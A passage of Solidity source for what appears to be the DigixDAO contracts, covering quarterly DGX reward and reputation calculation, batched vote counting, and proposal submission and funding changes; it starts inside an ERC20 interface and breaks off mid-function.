function balanceOf(address _who) public view returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address _owner, address _spender)
public view returns (uint256);
function transferFrom(address _from, address _to, uint256 _value)
public returns (bool);
function approve(address _spender, uint256 _value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library DaoIntermediateStructs {
struct VotingCount {
uint256 forCount;
uint256 againstCount;
}
struct Users {
uint256 usersLength;
address[] users;
}
}
contract DaoRewardsManagerCommon is DaoCommonMini {
using DaoStructs for DaoStructs.DaoQuarterInfo;
struct UserRewards {
uint256 lastParticipatedQuarter;
uint256 lastQuarterThatRewardsWasUpdated;
uint256 effectiveDGDBalance;
uint256 effectiveModeratorDGDBalance;
DaoStructs.DaoQuarterInfo qInfo;
}
struct QuarterRewardsInfo {
uint256 previousQuarter;
uint256 totalEffectiveDGDPreviousQuarter;
uint256 totalEffectiveModeratorDGDLastQuarter;
uint256 dgxRewardsPoolLastQuarter;
uint256 userCount;
uint256 i;
DaoStructs.DaoQuarterInfo qInfo;
address currentUser;
address[] users;
bool doneCalculatingEffectiveBalance;
bool doneCalculatingModeratorEffectiveBalance;
}
function getUserRewardsStruct(address _user)
internal
view
returns (UserRewards memory _data)
{
_data.lastParticipatedQuarter = daoRewardsStorage().lastParticipatedQuarter(_user);
_data.lastQuarterThatRewardsWasUpdated = daoRewardsStorage().lastQuarterThatRewardsWasUpdated(_user);
_data.qInfo = readQuarterInfo(_data.lastParticipatedQuarter);
}
function readQuarterInfo(uint256 _quarterNumber)
internal
view
returns (DaoStructs.DaoQuarterInfo _qInfo)
{
(
_qInfo.minimalParticipationPoint,
_qInfo.quarterPointScalingFactor,
_qInfo.reputationPointScalingFactor,
_qInfo.totalEffectiveDGDPreviousQuarter
) = daoRewardsStorage().readQuarterParticipantInfo(_quarterNumber);
(
_qInfo.moderatorMinimalParticipationPoint,
_qInfo.moderatorQuarterPointScalingFactor,
_qInfo.moderatorReputationPointScalingFactor,
_qInfo.totalEffectiveModeratorDGDLastQuarter
) = daoRewardsStorage().readQuarterModeratorInfo(_quarterNumber);
(
_qInfo.dgxDistributionDay,
_qInfo.dgxRewardsPoolLastQuarter,
_qInfo.sumRewardsFromBeginning
) = daoRewardsStorage().readQuarterGeneralInfo(_quarterNumber);
}
}
contract DaoRewardsManagerExtras is DaoRewardsManagerCommon {
constructor(address _resolver) public {
require(init(CONTRACT_DAO_REWARDS_MANAGER_EXTRAS, _resolver));
}
function daoCalculatorService()
internal
view
returns (DaoCalculatorService _contract)
{
_contract = DaoCalculatorService(get_contract(CONTRACT_SERVICE_DAO_CALCULATOR));
}
function calculateUserRewardsForLastParticipatingQuarter(address _user)
public
view
returns (uint256 _dgxRewardsAsParticipant, uint256 _dgxRewardsAsModerator)
{
UserRewards memory data = getUserRewardsStruct(_user);
data.effectiveDGDBalance = daoCalculatorService().calculateUserEffectiveBalance(
data.qInfo.minimalParticipationPoint,
data.qInfo.quarterPointScalingFactor,
data.qInfo.reputationPointScalingFactor,
daoPointsStorage().getQuarterPoint(_user, data.lastParticipatedQuarter),
daoPointsStorage().getReputation(_user),
daoStakeStorage().lockedDGDStake(_user)
);
data.effectiveModeratorDGDBalance = daoCalculatorService().calculateUserEffectiveBalance(
data.qInfo.moderatorMinimalParticipationPoint,
data.qInfo.moderatorQuarterPointScalingFactor,
data.qInfo.moderatorReputationPointScalingFactor,
daoPointsStorage().getQuarterModeratorPoint(_user, data.lastParticipatedQuarter),
daoPointsStorage().getReputation(_user),
daoStakeStorage().lockedDGDStake(_user)
);
if (daoRewardsStorage().readTotalEffectiveDGDLastQuarter(data.lastParticipatedQuarter.add(1)) > 0) {
_dgxRewardsAsParticipant =
data.effectiveDGDBalance
.mul(daoRewardsStorage().readRewardsPoolOfLastQuarter(
data.lastParticipatedQuarter.add(1)
))
.mul(
getUintConfig(CONFIG_PORTION_TO_MODERATORS_DEN)
.sub(getUintConfig(CONFIG_PORTION_TO_MODERATORS_NUM))
)
.div(daoRewardsStorage().readTotalEffectiveDGDLastQuarter(
data.lastParticipatedQuarter.add(1)
))
.div(getUintConfig(CONFIG_PORTION_TO_MODERATORS_DEN));
}
if (daoRewardsStorage().readTotalEffectiveModeratorDGDLastQuarter(data.lastParticipatedQuarter.add(1)) > 0) {
_dgxRewardsAsModerator =
data.effectiveModeratorDGDBalance
.mul(daoRewardsStorage().readRewardsPoolOfLastQuarter(
data.lastParticipatedQuarter.add(1)
))
.mul(
getUintConfig(CONFIG_PORTION_TO_MODERATORS_NUM)
)
.div(daoRewardsStorage().readTotalEffectiveModeratorDGDLastQuarter(
data.lastParticipatedQuarter.add(1)
))
.div(getUintConfig(CONFIG_PORTION_TO_MODERATORS_DEN));
}
}
}
contract DaoRewardsManager is DaoRewardsManagerCommon {
using MathHelper for MathHelper;
using DaoStructs for DaoStructs.DaoQuarterInfo;
using DaoStructs for DaoStructs.IntermediateResults;
event StartNewQuarter(uint256 indexed _quarterNumber);
address public ADDRESS_DGX_TOKEN;
function daoCalculatorService()
internal
view
returns (DaoCalculatorService _contract)
{
_contract = DaoCalculatorService(get_contract(CONTRACT_SERVICE_DAO_CALCULATOR));
}
function daoRewardsManagerExtras()
internal
view
returns (DaoRewardsManagerExtras _contract)
{
_contract = DaoRewardsManagerExtras(get_contract(CONTRACT_DAO_REWARDS_MANAGER_EXTRAS));
}
constructor(address _resolver, address _dgxAddress)
public
{
require(init(CONTRACT_DAO_REWARDS_MANAGER, _resolver));
ADDRESS_DGX_TOKEN = _dgxAddress;
daoRewardsStorage().updateQuarterInfo(
1,
getUintConfig(CONFIG_MINIMAL_QUARTER_POINT),
getUintConfig(CONFIG_QUARTER_POINT_SCALING_FACTOR),
getUintConfig(CONFIG_REPUTATION_POINT_SCALING_FACTOR),
0,
getUintConfig(CONFIG_MODERATOR_MINIMAL_QUARTER_POINT),
getUintConfig(CONFIG_MODERATOR_QUARTER_POINT_SCALING_FACTOR),
getUintConfig(CONFIG_MODERATOR_REPUTATION_POINT_SCALING_FACTOR),
0,
now,
0,
0
);
}
function moveDGXsToNewDao(address _newDaoRewardsManager)
public
{
require(sender_is(CONTRACT_DAO));
uint256 _dgxBalance = ERC20(ADDRESS_DGX_TOKEN).balanceOf(address(this));
ERC20(ADDRESS_DGX_TOKEN).transfer(_newDaoRewardsManager, _dgxBalance);
}
function claimRewards()
public
ifGlobalRewardsSet(currentQuarterNumber())
{
require(isDaoNotReplaced());
address _user = msg.sender;
uint256 _claimableDGX;
(, _claimableDGX) = updateUserRewardsForLastParticipatingQuarter(_user);
uint256 _days_elapsed = now
.sub(
daoRewardsStorage().readDgxDistributionDay(
daoRewardsStorage().lastQuarterThatRewardsWasUpdated(_user).add(1)
)
)
.div(1 days);
daoRewardsStorage().addToTotalDgxClaimed(_claimableDGX);
_claimableDGX = _claimableDGX.sub(
daoCalculatorService().calculateDemurrage(
_claimableDGX,
_days_elapsed
));
daoRewardsStorage().updateClaimableDGX(_user, 0);
ERC20(ADDRESS_DGX_TOKEN).transfer(_user, _claimableDGX);
}
function updateRewardsAndReputationBeforeNewQuarter(address _user)
public
{
require(sender_is(CONTRACT_DAO_STAKE_LOCKING));
updateUserRewardsForLastParticipatingQuarter(_user);
updateUserReputationUntilPreviousQuarter(_user);
}
function updateUserReputationUntilPreviousQuarter (address _user)
private
{
uint256 _lastParticipatedQuarter = daoRewardsStorage().lastParticipatedQuarter(_user);
uint256 _lastQuarterThatReputationWasUpdated = daoRewardsStorage().lastQuarterThatReputationWasUpdated(_user);
uint256 _reputationDeduction;
if (
_lastQuarterThatReputationWasUpdated.add(1) >= currentQuarterNumber()
) {
return;
}
if (
(_lastQuarterThatReputationWasUpdated.add(1) == _lastParticipatedQuarter)
) {
updateRPfromQP(
_user,
daoPointsStorage().getQuarterPoint(_user, _lastParticipatedQuarter),
getUintConfig(CONFIG_MINIMAL_QUARTER_POINT),
getUintConfig(CONFIG_MAXIMUM_REPUTATION_DEDUCTION),
getUintConfig(CONFIG_REPUTATION_PER_EXTRA_QP_NUM),
getUintConfig(CONFIG_REPUTATION_PER_EXTRA_QP_DEN)
);
if (daoStakeStorage().isInModeratorsList(_user)) {
updateRPfromQP(
_user,
daoPointsStorage().getQuarterModeratorPoint(_user, _lastParticipatedQuarter),
getUintConfig(CONFIG_MODERATOR_MINIMAL_QUARTER_POINT),
getUintConfig(CONFIG_MAXIMUM_MODERATOR_REPUTATION_DEDUCTION),
getUintConfig(CONFIG_REPUTATION_PER_EXTRA_MODERATOR_QP_NUM),
getUintConfig(CONFIG_REPUTATION_PER_EXTRA_MODERATOR_QP_DEN)
);
}
_lastQuarterThatReputationWasUpdated = _lastParticipatedQuarter;
}
_reputationDeduction =
(currentQuarterNumber().sub(1).sub(_lastQuarterThatReputationWasUpdated))
.mul(
getUintConfig(CONFIG_MAXIMUM_REPUTATION_DEDUCTION)
.add(getUintConfig(CONFIG_PUNISHMENT_FOR_NOT_LOCKING))
);
if (_reputationDeduction > 0) daoPointsStorage().reduceReputation(_user, _reputationDeduction);
daoRewardsStorage().updateLastQuarterThatReputationWasUpdated(_user, currentQuarterNumber().sub(1));
}
function updateRPfromQP (
address _user,
uint256 _userQP,
uint256 _minimalQP,
uint256 _maxRPDeduction,
uint256 _rpPerExtraQP_num,
uint256 _rpPerExtraQP_den
) internal {
uint256 _reputationDeduction;
uint256 _reputationAddition;
if (_userQP < _minimalQP) {
_reputationDeduction =
_minimalQP.sub(_userQP)
.mul(_maxRPDeduction)
.div(_minimalQP);
daoPointsStorage().reduceReputation(_user, _reputationDeduction);
} else {
_reputationAddition =
_userQP.sub(_minimalQP)
.mul(_rpPerExtraQP_num)
.div(_rpPerExtraQP_den);
daoPointsStorage().increaseReputation(_user, _reputationAddition);
}
}
function updateUserRewardsForLastParticipatingQuarter(address _user)
internal
returns (bool _valid, uint256 _userClaimableDgx)
{
UserRewards memory data = getUserRewardsStruct(_user);
_userClaimableDgx = daoRewardsStorage().claimableDGXs(_user);
if (
(currentQuarterNumber() == data.lastParticipatedQuarter) ||
(data.lastParticipatedQuarter <= data.lastQuarterThatRewardsWasUpdated)
) {
return (false, _userClaimableDgx);
}
uint256 _days_elapsed = daoRewardsStorage().readDgxDistributionDay(data.lastParticipatedQuarter.add(1))
.sub(daoRewardsStorage().readDgxDistributionDay(data.lastQuarterThatRewardsWasUpdated.add(1)))
.div(1 days);
uint256 _demurrageFees = daoCalculatorService().calculateDemurrage(
_userClaimableDgx,
_days_elapsed
);
_userClaimableDgx = _userClaimableDgx.sub(_demurrageFees);
daoRewardsStorage().addToTotalDgxClaimed(_demurrageFees);
uint256 _dgxRewardsAsParticipant;
uint256 _dgxRewardsAsModerator;
(_dgxRewardsAsParticipant, _dgxRewardsAsModerator) = daoRewardsManagerExtras().calculateUserRewardsForLastParticipatingQuarter(_user);
_userClaimableDgx = _userClaimableDgx.add(_dgxRewardsAsParticipant).add(_dgxRewardsAsModerator);
daoRewardsStorage().updateClaimableDGX(_user, _userClaimableDgx);
daoRewardsStorage().updateLastQuarterThatRewardsWasUpdated(_user, data.lastParticipatedQuarter);
_valid = true;
}
function calculateGlobalRewardsBeforeNewQuarter(uint256 _operations)
public
if_founder()
returns (bool _done)
{
require(isDaoNotReplaced());
require(daoUpgradeStorage().startOfFirstQuarter() != 0);
require(isLockingPhase());
require(daoRewardsStorage().readDgxDistributionDay(currentQuarterNumber()) == 0);
QuarterRewardsInfo memory info;
info.previousQuarter = currentQuarterNumber().sub(1);
require(info.previousQuarter > 0);
info.qInfo = readQuarterInfo(info.previousQuarter);
DaoStructs.IntermediateResults memory interResults;
(
interResults.countedUntil,,,
info.totalEffectiveDGDPreviousQuarter
) = intermediateResultsStorage().getIntermediateResults(
getIntermediateResultsIdForGlobalRewards(info.previousQuarter, false)
);
uint256 _operationsLeft = sumEffectiveBalance(info, false, _operations, interResults);
if (!info.doneCalculatingEffectiveBalance) { return false; }
(
interResults.countedUntil,,,
info.totalEffectiveModeratorDGDLastQuarter
) = intermediateResultsStorage().getIntermediateResults(
getIntermediateResultsIdForGlobalRewards(info.previousQuarter, true)
);
sumEffectiveBalance(info, true, _operationsLeft, interResults);
if (!info.doneCalculatingModeratorEffectiveBalance) { return false; }
processGlobalRewardsUpdate(info);
_done = true;
emit StartNewQuarter(currentQuarterNumber());
}
function getIntermediateResultsIdForGlobalRewards(uint256 _quarterNumber, bool _forModerator) internal view returns (bytes32 _id) {
_id = keccak256(abi.encodePacked(
_forModerator ? INTERMEDIATE_MODERATOR_DGD_IDENTIFIER : INTERMEDIATE_DGD_IDENTIFIER,
_quarterNumber
));
}
function processGlobalRewardsUpdate(QuarterRewardsInfo memory info) internal {
info.dgxRewardsPoolLastQuarter =
ERC20(ADDRESS_DGX_TOKEN).balanceOf(address(this))
.add(daoRewardsStorage().totalDGXsClaimed())
.sub(info.qInfo.sumRewardsFromBeginning);
daoStakeStorage().updateTotalLockedDGDStake(0);
daoStakeStorage().updateTotalModeratorLockedDGDs(0);
daoRewardsStorage().updateQuarterInfo(
info.previousQuarter.add(1),
getUintConfig(CONFIG_MINIMAL_QUARTER_POINT),
getUintConfig(CONFIG_QUARTER_POINT_SCALING_FACTOR),
getUintConfig(CONFIG_REPUTATION_POINT_SCALING_FACTOR),
info.totalEffectiveDGDPreviousQuarter,
getUintConfig(CONFIG_MODERATOR_MINIMAL_QUARTER_POINT),
getUintConfig(CONFIG_MODERATOR_QUARTER_POINT_SCALING_FACTOR),
getUintConfig(CONFIG_MODERATOR_REPUTATION_POINT_SCALING_FACTOR),
info.totalEffectiveModeratorDGDLastQuarter,
now,
info.dgxRewardsPoolLastQuarter,
info.qInfo.sumRewardsFromBeginning.add(info.dgxRewardsPoolLastQuarter)
);
}
function sumEffectiveBalance (
QuarterRewardsInfo memory info,
bool _badgeCalculation,
uint256 _operations,
DaoStructs.IntermediateResults memory _interResults
)
internal
returns (uint _operationsLeft)
{
if (_operations == 0) return _operations;
if (_interResults.countedUntil == EMPTY_ADDRESS) {
info.users = _badgeCalculation ?
daoListingService().listModerators(_operations, true)
: daoListingService().listParticipants(_operations, true);
} else {
info.users = _badgeCalculation ?
daoListingService().listModeratorsFrom(_interResults.countedUntil, _operations, true)
: daoListingService().listParticipantsFrom(_interResults.countedUntil, _operations, true);
if (info.users.length == 0) {
info.doneCalculatingEffectiveBalance = true;
return _operations;
}
}
address _lastAddress;
_lastAddress = info.users[info.users.length - 1];
info.userCount = info.users.length;
for (info.i=0;info.i<info.userCount;info.i++) {
info.currentUser = info.users[info.i];
if (daoRewardsStorage().lastParticipatedQuarter(info.currentUser) != info.previousQuarter) {
continue;
}
if (_badgeCalculation) {
info.totalEffectiveModeratorDGDLastQuarter = info.totalEffectiveModeratorDGDLastQuarter.add(daoCalculatorService().calculateUserEffectiveBalance(
info.qInfo.moderatorMinimalParticipationPoint,
info.qInfo.moderatorQuarterPointScalingFactor,
info.qInfo.moderatorReputationPointScalingFactor,
daoPointsStorage().getQuarterModeratorPoint(info.currentUser, info.previousQuarter),
daoPointsStorage().getReputation(info.currentUser),
daoStakeStorage().lockedDGDStake(info.currentUser)
));
} else {
info.totalEffectiveDGDPreviousQuarter = info.totalEffectiveDGDPreviousQuarter.add(daoCalculatorService().calculateUserEffectiveBalance(
info.qInfo.minimalParticipationPoint,
info.qInfo.quarterPointScalingFactor,
info.qInfo.reputationPointScalingFactor,
daoPointsStorage().getQuarterPoint(info.currentUser, info.previousQuarter),
daoPointsStorage().getReputation(info.currentUser),
daoStakeStorage().lockedDGDStake(info.currentUser)
));
}
}
if (_lastAddress == daoStakeStorage().readLastModerator() && _badgeCalculation) {
info.doneCalculatingModeratorEffectiveBalance = true;
}
if (_lastAddress == daoStakeStorage().readLastParticipant() && !_badgeCalculation) {
info.doneCalculatingEffectiveBalance = true;
}
intermediateResultsStorage().setIntermediateResults(
getIntermediateResultsIdForGlobalRewards(info.previousQuarter, _badgeCalculation),
_lastAddress,
0,0,
_badgeCalculation ? info.totalEffectiveModeratorDGDLastQuarter : info.totalEffectiveDGDPreviousQuarter
);
_operationsLeft = _operations.sub(info.userCount);
}
}
contract DaoVotingClaims is DaoCommon {
using DaoIntermediateStructs for DaoIntermediateStructs.VotingCount;
using DaoIntermediateStructs for DaoIntermediateStructs.Users;
using DaoStructs for DaoStructs.IntermediateResults;
function daoCalculatorService()
internal
view
returns (DaoCalculatorService _contract)
{
_contract = DaoCalculatorService(get_contract(CONTRACT_SERVICE_DAO_CALCULATOR));
}
function daoFundingManager()
internal
view
returns (DaoFundingManager _contract)
{
_contract = DaoFundingManager(get_contract(CONTRACT_DAO_FUNDING_MANAGER));
}
function daoRewardsManager()
internal
view
returns (DaoRewardsManager _contract)
{
_contract = DaoRewardsManager(get_contract(CONTRACT_DAO_REWARDS_MANAGER));
}
constructor(address _resolver) public {
require(init(CONTRACT_DAO_VOTING_CLAIMS, _resolver));
}
function claimDraftVotingResult(
bytes32 _proposalId,
uint256 _operations
)
public
ifDraftNotClaimed(_proposalId)
ifAfterDraftVotingPhase(_proposalId)
returns (bool _passed, bool _done)
{
if (now > daoStorage().readProposalDraftVotingTime(_proposalId)
.add(getUintConfig(CONFIG_DRAFT_VOTING_PHASE))
.add(getUintConfig(CONFIG_VOTE_CLAIMING_DEADLINE))
|| !isNonDigixProposalsWithinLimit(_proposalId))
{
daoStorage().setProposalDraftPass(_proposalId, false);
daoStorage().setDraftVotingClaim(_proposalId, true);
processCollateralRefund(_proposalId);
return (false, true);
}
require(isFromProposer(_proposalId));
senderCanDoProposerOperations();
DaoStructs.IntermediateResults memory _currentResults;
(
_currentResults.countedUntil,
_currentResults.currentForCount,
_currentResults.currentAgainstCount,
) = intermediateResultsStorage().getIntermediateResults(_proposalId);
address[] memory _moderators;
if (_currentResults.countedUntil == EMPTY_ADDRESS) {
_moderators = daoListingService().listModerators(
_operations,
true
);
} else {
_moderators = daoListingService().listModeratorsFrom(
_currentResults.countedUntil,
_operations,
true
);
}
DaoIntermediateStructs.VotingCount memory _voteCount;
(_voteCount.forCount, _voteCount.againstCount) = daoStorage().readDraftVotingCount(_proposalId, _moderators);
_currentResults.countedUntil = _moderators[_moderators.length-1];
_currentResults.currentForCount = _currentResults.currentForCount.add(_voteCount.forCount);
_currentResults.currentAgainstCount = _currentResults.currentAgainstCount.add(_voteCount.againstCount);
if (_moderators[_moderators.length-1] == daoStakeStorage().readLastModerator()) {
_passed = processDraftVotingClaim(_proposalId, _currentResults);
_done = true;
intermediateResultsStorage().resetIntermediateResults(_proposalId);
} else {
intermediateResultsStorage().setIntermediateResults(
_proposalId,
_currentResults.countedUntil,
_currentResults.currentForCount,
_currentResults.currentAgainstCount,
0
);
}
}
function processDraftVotingClaim(bytes32 _proposalId, DaoStructs.IntermediateResults _currentResults)
internal
returns (bool _passed)
{
if (
(_currentResults.currentForCount.add(_currentResults.currentAgainstCount) > daoCalculatorService().minimumDraftQuorum(_proposalId)) &&
(daoCalculatorService().draftQuotaPass(_currentResults.currentForCount, _currentResults.currentAgainstCount))
) {
daoStorage().setProposalDraftPass(_proposalId, true);
uint256 _idealStartTime = daoStorage().readProposalDraftVotingTime(_proposalId).add(getUintConfig(CONFIG_DRAFT_VOTING_PHASE));
daoStorage().setProposalVotingTime(
_proposalId,
0,
getTimelineForNextVote(0, _idealStartTime)
);
_passed = true;
} else {
daoStorage().setProposalDraftPass(_proposalId, false);
processCollateralRefund(_proposalId);
}
daoStorage().setDraftVotingClaim(_proposalId, true);
}
function claimProposalVotingResult(bytes32 _proposalId, uint256 _index, uint256 _operations)
public
ifNotClaimed(_proposalId, _index)
ifAfterProposalRevealPhase(_proposalId, _index)
returns (bool _passed, bool _done)
{
require(isMainPhase());
_done = true;
_passed = false;
uint256 _operationsLeft = _operations;
if (now < startOfMilestone(_proposalId, _index)
.add(getUintConfig(CONFIG_VOTE_CLAIMING_DEADLINE)))
{
(_operationsLeft, _passed, _done) = countProposalVote(_proposalId, _index, _operations);
if (!_done) return (_passed, false);
}
_done = false;
if (_index > 0) {
_done = calculateVoterBonus(_proposalId, _index, _operationsLeft, _passed);
if (!_done) return (_passed, false);
} else {
_passed = _passed && isNonDigixProposalsWithinLimit(_proposalId);
if (_passed) {
daoStorage().setProposalCollateralStatus(
_proposalId,
COLLATERAL_STATUS_LOCKED
);
} else {
processCollateralRefund(_proposalId);
}
}
if (_passed) {
processSuccessfulVotingClaim(_proposalId, _index);
}
daoStorage().setVotingClaim(_proposalId, _index, true);
daoStorage().setProposalPass(_proposalId, _index, _passed);
_done = true;
}
function processSuccessfulVotingClaim(bytes32 _proposalId, uint256 _index)
internal
{
intermediateResultsStorage().resetIntermediateResults(_proposalId);
uint256[] memory _milestoneFundings;
(_milestoneFundings,) = daoStorage().readProposalFunding(_proposalId);
if (_index == _milestoneFundings.length) {
processCollateralRefund(_proposalId);
daoStorage().archiveProposal(_proposalId);
}
bool _isDigixProposal;
(,,,,,,,,,_isDigixProposal) = daoStorage().readProposal(_proposalId);
if (_index == 0 && !_isDigixProposal) {
daoProposalCounterStorage().addNonDigixProposalCountInQuarter(currentQuarterNumber());
}
uint256 _funding = daoStorage().readProposalMilestone(_proposalId, _index);
daoPointsStorage().addQuarterPoint(
daoStorage().readProposalProposer(_proposalId),
getUintConfig(CONFIG_QUARTER_POINT_MILESTONE_COMPLETION_PER_10000ETH).mul(_funding).div(10000 ether),
currentQuarterNumber()
);
}
function getInterResultKeyForBonusCalculation(bytes32 _proposalId) public view returns (bytes32 _key) {
_key = keccak256(abi.encodePacked(
_proposalId,
INTERMEDIATE_BONUS_CALCULATION_IDENTIFIER
));
}
function calculateVoterBonus(bytes32 _proposalId, uint256 _index, uint256 _operations, bool _passed)
internal
returns (bool _done)
{
if (_operations == 0) return false;
address _countedUntil;
(_countedUntil,,,) = intermediateResultsStorage().getIntermediateResults(
getInterResultKeyForBonusCalculation(_proposalId)
);
address[] memory _voterBatch;
if (_countedUntil == EMPTY_ADDRESS) {
_voterBatch = daoListingService().listParticipants(
_operations,
true
);
} else {
_voterBatch = daoListingService().listParticipantsFrom(
_countedUntil,
_operations,
true
);
}
address _lastVoter = _voterBatch[_voterBatch.length - 1];
DaoIntermediateStructs.Users memory _bonusVoters;
if (_passed) {
(_bonusVoters.users, _bonusVoters.usersLength) = daoStorage().readVotingRoundVotes(_proposalId, _index.sub(1), _voterBatch, true);
} else {
(_bonusVoters.users, _bonusVoters.usersLength) = daoStorage().readVotingRoundVotes(_proposalId, _index.sub(1), _voterBatch, false);
}
if (_bonusVoters.usersLength > 0) addBonusReputation(_bonusVoters.users, _bonusVoters.usersLength);
if (_lastVoter == daoStakeStorage().readLastParticipant()) {
intermediateResultsStorage().resetIntermediateResults(
getInterResultKeyForBonusCalculation(_proposalId)
);
_done = true;
} else {
intermediateResultsStorage().setIntermediateResults(
getInterResultKeyForBonusCalculation(_proposalId),
_lastVoter, 0, 0, 0
);
}
}
function countProposalVote(bytes32 _proposalId, uint256 _index, uint256 _operations)
internal
returns (uint256 _operationsLeft, bool _passed, bool _done)
{
senderCanDoProposerOperations();
require(isFromProposer(_proposalId));
DaoStructs.IntermediateResults memory _currentResults;
(
_currentResults.countedUntil,
_currentResults.currentForCount,
_currentResults.currentAgainstCount,
) = intermediateResultsStorage().getIntermediateResults(_proposalId);
address[] memory _voters;
if (_currentResults.countedUntil == EMPTY_ADDRESS) {
_voters = daoListingService().listParticipants(
_operations,
true
);
} else {
_voters = daoListingService().listParticipantsFrom(
_currentResults.countedUntil,
_operations,
true
);
if (_voters.length == 0) {
return (
_operations,
isVoteCountPassed(_currentResults, _proposalId, _index),
true
);
}
}
address _lastVoter = _voters[_voters.length - 1];
DaoIntermediateStructs.VotingCount memory _count;
(_count.forCount, _count.againstCount) = daoStorage().readVotingCount(_proposalId, _index, _voters);
_currentResults.currentForCount = _currentResults.currentForCount.add(_count.forCount);
_currentResults.currentAgainstCount = _currentResults.currentAgainstCount.add(_count.againstCount);
intermediateResultsStorage().setIntermediateResults(
_proposalId,
_lastVoter,
_currentResults.currentForCount,
_currentResults.currentAgainstCount,
0
);
if (_lastVoter != daoStakeStorage().readLastParticipant()) {
return (0, false, false);
}
_operationsLeft = _operations.sub(_voters.length);
_done = true;
_passed = isVoteCountPassed(_currentResults, _proposalId, _index);
}
function isVoteCountPassed(DaoStructs.IntermediateResults _currentResults, bytes32 _proposalId, uint256 _index)
internal
view
returns (bool _passed)
{
_passed = (_currentResults.currentForCount.add(_currentResults.currentAgainstCount) > daoCalculatorService().minimumVotingQuorum(_proposalId, _index))
&& (daoCalculatorService().votingQuotaPass(_currentResults.currentForCount, _currentResults.currentAgainstCount));
}
function processCollateralRefund(bytes32 _proposalId)
internal
{
daoStorage().setProposalCollateralStatus(_proposalId, COLLATERAL_STATUS_CLAIMED);
require(daoFundingManager().refundCollateral(daoStorage().readProposalProposer(_proposalId), _proposalId));
}
function addBonusReputation(address[] _voters, uint256 _n)
private
{
uint256 _qp = getUintConfig(CONFIG_QUARTER_POINT_VOTE);
uint256 _rate = getUintConfig(CONFIG_BONUS_REPUTATION_NUMERATOR);
uint256 _base = getUintConfig(CONFIG_BONUS_REPUTATION_DENOMINATOR);
uint256 _bonus = _qp.mul(_rate).mul(getUintConfig(CONFIG_REPUTATION_PER_EXTRA_QP_NUM))
.div(
_base.mul(getUintConfig(CONFIG_REPUTATION_PER_EXTRA_QP_DEN))
);
for (uint256 i = 0; i < _n; i++) {
if (isParticipant(_voters[i])) {
daoPointsStorage().increaseReputation(_voters[i], _bonus);
}
}
}
}
contract Dao is DaoCommon {
event NewProposal(bytes32 indexed _proposalId, address _proposer);
event ModifyProposal(bytes32 indexed _proposalId, bytes32 _newDoc);
event ChangeProposalFunding(bytes32 indexed _proposalId);
event FinalizeProposal(bytes32 indexed _proposalId);
event FinishMilestone(bytes32 indexed _proposalId, uint256 indexed _milestoneIndex);
event AddProposalDoc(bytes32 indexed _proposalId, bytes32 _newDoc);
event PRLAction(bytes32 indexed _proposalId, uint256 _actionId, bytes32 _doc);
event CloseProposal(bytes32 indexed _proposalId);
constructor(address _resolver) public {
require(init(CONTRACT_DAO, _resolver));
}
function daoFundingManager()
internal
view
returns (DaoFundingManager _contract)
{
_contract = DaoFundingManager(get_contract(CONTRACT_DAO_FUNDING_MANAGER));
}
function daoRewardsManager()
internal
view
returns (DaoRewardsManager _contract)
{
_contract = DaoRewardsManager(get_contract(CONTRACT_DAO_REWARDS_MANAGER));
}
function daoVotingClaims()
internal
view
returns (DaoVotingClaims _contract)
{
_contract = DaoVotingClaims(get_contract(CONTRACT_DAO_VOTING_CLAIMS));
}
function setNewDaoContracts(
address _newDaoContract,
address _newDaoFundingManager,
address _newDaoRewardsManager
)
public
if_root()
{
require(daoUpgradeStorage().isReplacedByNewDao() == false);
daoUpgradeStorage().setNewContractAddresses(
_newDaoContract,
_newDaoFundingManager,
_newDaoRewardsManager
);
}
function migrateToNewDao(
address _newDaoContract,
address _newDaoFundingManager,
address _newDaoRewardsManager
)
public
if_root()
ifGlobalRewardsSet(currentQuarterNumber())
{
require(isLockingPhase());
require(daoUpgradeStorage().isReplacedByNewDao() == false);
require(
(daoUpgradeStorage().newDaoContract() == _newDaoContract) &&
(daoUpgradeStorage().newDaoFundingManager() == _newDaoFundingManager) &&
(daoUpgradeStorage().newDaoRewardsManager() == _newDaoRewardsManager)
);
daoUpgradeStorage().updateForDaoMigration();
daoFundingManager().moveFundsToNewDao(_newDaoFundingManager);
daoRewardsManager().moveDGXsToNewDao(_newDaoRewardsManager);
}
function setStartOfFirstQuarter(uint256 _start) public if_founder() {
require(daoUpgradeStorage().startOfFirstQuarter() == 0);
require(_start > 0);
daoUpgradeStorage().setStartOfFirstQuarter(_start);
}
function submitPreproposal(
bytes32 _docIpfsHash,
uint256[] _milestonesFundings,
uint256 _finalReward
)
external
payable
ifFundingPossible(_milestonesFundings, _finalReward)
{
senderCanDoProposerOperations();
bool _isFounder = is_founder();
require(msg.value == getUintConfig(CONFIG_PREPROPOSAL_COLLATERAL));
require(address(daoFundingManager()).call.gas(25000).value(msg.value)());
checkNonDigixFundings(_milestonesFundings, _finalReward);
daoStorage().addProposal(_docIpfsHash, msg.sender, _milestonesFundings, _finalReward, _isFounder);
daoStorage().setProposalCollateralStatus(_docIpfsHash, COLLATERAL_STATUS_UNLOCKED);
daoStorage().setProposalCollateralAmount(_docIpfsHash, msg.value);
emit NewProposal(_docIpfsHash, msg.sender);
}
function modifyProposal(
bytes32 _proposalId,
bytes32 _docIpfsHash,
uint256[] _milestonesFundings,
uint256 _finalReward
)
external
{
senderCanDoProposerOperations();
require(isFromProposer(_proposalId));
require(isEditable(_proposalId));
bytes32 _currentState;
(,,,_currentState,,,,,,) = daoStorage().readProposal(_proposalId);
require(_currentState == PROPOSAL_STATE_PREPROPOSAL ||
_currentState == PROPOSAL_STATE_DRAFT);
checkNonDigixFundings(_milestonesFundings, _finalReward);
daoStorage().editProposal(_proposalId, _docIpfsHash, _milestonesFundings, _finalReward);
emit ModifyProposal(_proposalId, _docIpfsHash);
}
function changeFundings(
bytes32 _proposalId,
uint256[] _milestonesFundings,
uint256 _finalReward,
uint256 _currentMilestone
)
external
{
senderCanDoProposerOperations();
require(isFromProposer(_proposalId));
checkNonDigixFundings(_milestonesFundings, _finalReward);
uint256[] memory _currentFundings;
(_currentFundings,) = daoStorage().readProposalFunding(_proposalId);
require(_currentMilestone < _currentFundings.length);
uint256 _startOfCurrentMilestone = startOfMilestone(_proposalId, _currentMilestone);
require(now > _startOfCurrentMilestone);
require(daoStorage().readProposalVotingTime(_proposalId, _currentMilestone.add(1)) == 0);
